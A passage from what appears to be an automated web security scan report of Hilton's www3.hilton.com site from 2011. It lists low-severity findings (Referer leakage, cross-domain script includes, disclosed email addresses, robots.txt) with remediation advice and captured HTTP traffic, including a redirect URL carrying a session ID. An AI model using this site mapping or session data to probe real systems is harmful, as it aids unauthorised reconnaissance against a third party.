You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /en_US/hi/hotel/popup/accessibilityPolicy.htm?ctyhocn=BOSLHHH HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Content-Language: en X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:23 GMT Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:01:33 GMT Content-Length: 7078 Connection: close
GET /en_US/hi/hotel/popup/hotelDetails.htm?ctyhocn=BOSLHHH HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Content-Language: en X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:00:58 GMT Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:01:08 GMT Content-Length: 13095 Connection: close
GET /en_US/hi/search/findhotels/index.htm?it=Tnav,Res HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Cache-Control: no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: en X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:00:27 GMT Connection: close Connection: Transfer-Encoding Content-Length: 44243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <?xml version="1.0" encoding="UTF-8"?> ...[SNIP]... </script> <script type="text/javascript" src="http://www.hotelicopter.com/js/connector.js"></script> ...[SNIP]... <li><a href="http://assistive.usablenet.com/tt/referrer">View Text Only</a> ...[SNIP]... <p>
<a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&type=GOLD&sealid=2&dn=www.hilton.com&lang=en" target="_blank" onclick="openPopup(this,'560','500','This is a Secure Site');return false;"><img src="/skins/common/img/verisign.gif" alt="This is a Secure Site" class="verisign"/> ...[SNIP]... <li><a href="http://www.hilton.de">Germany</a> ...[SNIP]... <noscript> <img alt="" border="0" name="DCSIMG" width="1" height="1" src="http://statse.webtrendslive.com/dcsx8czs1erp17368wkcsn8pc_9z2q/njs.gif?dcsuri=/nojavascript&WT.js=No" /> </noscript> ...[SNIP]...
GET /en_US/hi/search/findhotels/reloadSearchResultsAjax.htm?view=LIST&page=1&rewardBooking=true HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: no-cache Cache-Control: no-store Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Language: en X-Powered-By: Servlet/2.5 JSP/2.1 Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:00:35 GMT Connection: close Connection: Transfer-Encoding Content-Length: 213254
GET /en_US/wa/doxch.htm?dst=http://PFS-WA/ HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache Location: http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149& X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:02:02 GMT Content-Type: text/html Date: Mon, 03 Oct 2011 13:02:12 GMT Connection: close Connection: Transfer-Encoding Content-Length: 549
<html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&">http://waldorfastoria.com/;jsessionid=4E9B21AE664381D1B53DE8378483FB39.etc13?xch=1041801034,QGJVTJwfpmh09MLv8vspfWvtjhcJbMDlLfc1VvRs9zwlB2KJGl0Q!672724623!1317646367149&</a> ...[SNIP]...
7. Cross-domain script includepreviousnext There are 3 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email addresses were disclosed in the response:
AsiaHHonors@hilton.com
MexicoHHonors@hilton.com
glasgowhhonors@hilton.com
hhonors@hilton.com
hhonorsde@hilton.com
hhonorsdk@hilton.com
hhonorses@hilton.com
hhonorsfi@hilton.com
hhonorsfr@hilton.com
hhonorsita@hilton.com
hhonorsjp@hrwtokyo.hilton.co.jp
hhonorsnl@hilton.com
hhonorsno@hilton.com
hhonorsse@hilton.com
hhonorstr@hilton.com
Request
GET /en_US/hi/brand/popup/preExistingCertificate.htm HTTP/1.1 Host: www3.hilton.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Content-Language: en X-Powered-By: Servlet/2.5 JSP/2.1 Cache-Control: max-age=86400 Expires: Tue, 04 Oct 2011 13:01:24 GMT Content-Type: text/html; charset=UTF-8 Date: Mon, 03 Oct 2011 13:01:34 GMT Content-Length: 8844 Connection: close
HTTP/1.1 200 OK Server: Apache Last-Modified: Wed, 28 Sep 2011 17:08:38 GMT ETag: "2fff0-716dd180" Accept-Ranges: bytes Content-Type: application/javascript Vary: Accept-Encoding Content-Length: 196592 Cache-Control: max-age=45183 Expires: Tue, 04 Oct 2011 01:25:58 GMT Date: Mon, 03 Oct 2011 12:52:55 GMT Connection: close
/* * Copyright (c) 2009 John Resig * Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) * Copyright 2007 Yehuda Katz, Rein Henrichs * Copyright (c) 2007 cody lindley * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and G ...[SNIP]...
HTTP/1.1 200 OK Server: Apache Last-Modified: Wed, 28 Sep 2011 17:08:39 GMT ETag: "972c-717d13c0" Accept-Ranges: bytes Content-Type: application/javascript Vary: Accept-Encoding Content-Length: 38700 Cache-Control: max-age=48576 Expires: Tue, 04 Oct 2011 02:22:31 GMT Date: Mon, 03 Oct 2011 12:52:55 GMT Connection: close
/* * Copyright (c) 2009 John Resig * Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) * Copyright 2007 Yehuda Katz, Rein Henrichs * Copyright (c) 2007 cody lindley * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and G ...[SNIP]...
HTTP/1.1 200 OK Server: Apache Last-Modified: Wed, 28 Sep 2011 17:08:42 GMT ETag: "f39f-71aada80" Accept-Ranges: bytes Content-Type: application/javascript Vary: Accept-Encoding Content-Length: 62367 Cache-Control: max-age=44921 Expires: Tue, 04 Oct 2011 01:21:36 GMT Date: Mon, 03 Oct 2011 12:52:55 GMT Connection: close
/* * Copyright (c) 2009 John Resig * Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net) * Copyright 2007 Yehuda Katz, Rein Henrichs * Copyright (c) 2007 cody lindley * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) * and G ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: www3.hilton.com
Response
HTTP/1.0 200 OK Server: Apache Last-Modified: Fri, 14 Jan 2011 18:27:16 GMT ETag: "3ddab-956d6900" Accept-Ranges: bytes Content-Length: 253355 Content-Type: text/plain Cache-Control: max-age=60186 Expires: Tue, 04 Oct 2011 05:36:01 GMT Date: Mon, 03 Oct 2011 12:52:55 GMT Connection: close
